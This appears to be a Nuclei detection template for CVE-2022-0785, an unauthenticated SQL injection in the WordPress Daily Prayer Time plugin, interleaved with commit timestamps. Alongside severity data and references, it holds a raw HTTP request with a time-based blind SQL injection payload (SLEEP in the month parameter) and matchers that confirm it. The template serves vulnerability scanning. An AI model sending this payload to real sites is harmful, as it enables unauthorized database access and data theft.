2022-11-08 12:51:06 +00:00
id : CVE-2022-0785
info :
2022-12-09 21:40:18 +00:00
name : WordPress Daily Prayer Time <2022.03.01 - SQL Injection
2022-11-08 12:51:06 +00:00
author : theamanrawat
severity : critical
description : |
2022-12-09 21:40:18 +00:00
WordPress Daily Prayer Time plugin prior to 2022.03.01 contains a SQL injection vulnerability.. It does not sanitise and escape the month parameter before using it in a SQL statement via the get_monthly_timetable AJAX action, available to unauthenticated users, leading to SQL injection.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database and potentially sensitive information leakage.
2023-09-06 11:59:08 +00:00
remediation : |
Update to the latest version of the WordPress Daily Prayer Time plugin (2022.03.01) to fix the SQL Injection vulnerability.
2022-11-08 12:51:06 +00:00
reference :
- https://wpscan.com/vulnerability/e1e09f56-89a4-4d6f-907b-3fb2cb825255
- https://wordpress.org/plugins/daily-prayer-time-for-mosques/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0785
2024-03-23 09:28:19 +00:00
- https://github.com/20142995/sectool
- https://github.com/ARPSyndicate/cvemon
2022-11-08 12:51:06 +00:00
classification :
2022-11-09 19:50:02 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2022-11-08 12:51:06 +00:00
cve-id : CVE-2022-0785
2022-11-09 19:50:02 +00:00
cwe-id : CWE-89
2024-06-07 10:04:29 +00:00
epss-score : 0.04032
epss-percentile : 0.92073
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:daily_prayer_time_project:daily_prayer_time:*:*:*:*:*:wordpress:*:*
2022-11-08 12:51:06 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : daily_prayer_time_project
product : daily_prayer_time
2023-09-06 11:59:08 +00:00
framework : wordpress
2024-01-14 09:21:50 +00:00
tags : cve2022,cve,sqli,wordpress,wp-plugin,unauth,daily-prayer-time-for-mosques,wpscan,wp,daily_prayer_time_project
2022-11-08 12:51:06 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-11-08 12:51:06 +00:00
- raw :
- |
@timeout : 10s
2022-11-09 13:15:57 +00:00
GET /wp-admin/admin-ajax.php?action=get_monthly_timetable&month=1+AND+(SELECT+6881+FROM+(SELECT(SLEEP(6)))iEAn) HTTP/1.1
2022-11-08 12:51:06 +00:00
Host : {{Hostname}}
matchers :
- type : dsl
dsl :
- 'duration>=6'
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "dptTimetable customStyles dptUserStyles")'
2022-11-09 13:15:57 +00:00
condition : and
2024-06-08 16:02:17 +00:00
# digest: 4a0a004730450220339f76f6589f61d951c6df49eebd9765622f4b1fc106f4f0baaa2c769568a0a2022100c9f4eb1905e780de95cb4f89bc8dcebc93ad8fa3134478bb83af9abf03ee8be7:922c64590222798bb761d5b6d8e72950